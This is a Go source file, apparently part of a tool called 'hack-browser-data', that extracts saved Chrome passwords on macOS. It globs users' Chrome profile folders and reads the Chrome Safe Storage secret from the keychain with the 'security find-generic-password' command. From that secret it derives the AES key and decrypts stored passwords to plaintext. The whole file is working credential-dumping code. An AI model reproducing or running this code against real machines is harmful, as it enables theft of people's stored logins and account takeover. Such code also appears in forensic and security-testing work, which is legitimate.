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100 lines
2.1 KiB
100 lines
2.1 KiB
package utils
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import (
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"bytes"
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"crypto/aes"
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"crypto/cipher"
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"crypto/sha1"
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"errors"
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"fmt"
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"hack-browser-data/log"
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"os/exec"
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"path/filepath"
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"golang.org/x/crypto/pbkdf2"
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)
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const (
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macChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/"
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)
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var (
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iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
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command = []string{"security", "find-generic-password", "-wa", "Chrome"}
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chromeSalt = []byte("saltysalt")
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chromeKey []byte
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)
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func GetDBPath(dbName ...string) (dbFile []string) {
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for _, v := range dbName {
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s, err := filepath.Glob(macChromeDir + v)
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if err != nil && len(s) == 0 {
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continue
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}
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if len(s) > 0 {
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log.Debugf("Find %s File Success", v)
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log.Debugf("%s file location is %s", v, s[0])
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dbFile = append(dbFile, s[0])
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}
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}
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return dbFile
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}
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func InitChromeKey() error {
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var (
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cmd *exec.Cmd
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stdout, stderr bytes.Buffer
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)
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cmd = exec.Command(command[0], command[1], command[2], command[3])
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cmd.Stdout = &stdout
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cmd.Stderr = &stderr
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err := cmd.Run()
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if err != nil {
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log.Println(err)
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return err
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}
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if stderr.Len() > 0 {
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err = errors.New(stderr.String())
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log.Println(err)
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}
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temp := stdout.Bytes()
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chromePass := temp[:len(temp)-1]
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decryptChromeKey(chromePass)
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return err
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}
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func decryptChromeKey(chromePass []byte) {
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chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
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}
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func DecryptChromePass(encryptPass []byte) (string, error) {
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if len(encryptPass) > 3 {
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return aes128CBCDecrypt(encryptPass[3:])
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} else {
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return "", &DecryptError{
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err: passwordIsEmpty,
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msg: fmt.Sprintf("password is %s", string(encryptPass)),
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}
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}
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}
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func aes128CBCDecrypt(encryptPass []byte) (string, error) {
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if len(chromeKey) == 0 {
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return "", nil
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}
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block, err := aes.NewCipher(chromeKey)
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if err != nil {
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return "", err
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}
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dst := make([]byte, len(encryptPass))
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mode := cipher.NewCBCDecrypter(block, iv)
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mode.CryptBlocks(dst, encryptPass)
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dst = PKCS5UnPadding(dst)
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return string(dst), nil
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}
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func PKCS5UnPadding(src []byte) []byte {
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length := len(src)
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unpadding := int(src[length-1])
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return src[:(length - unpadding)]
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}
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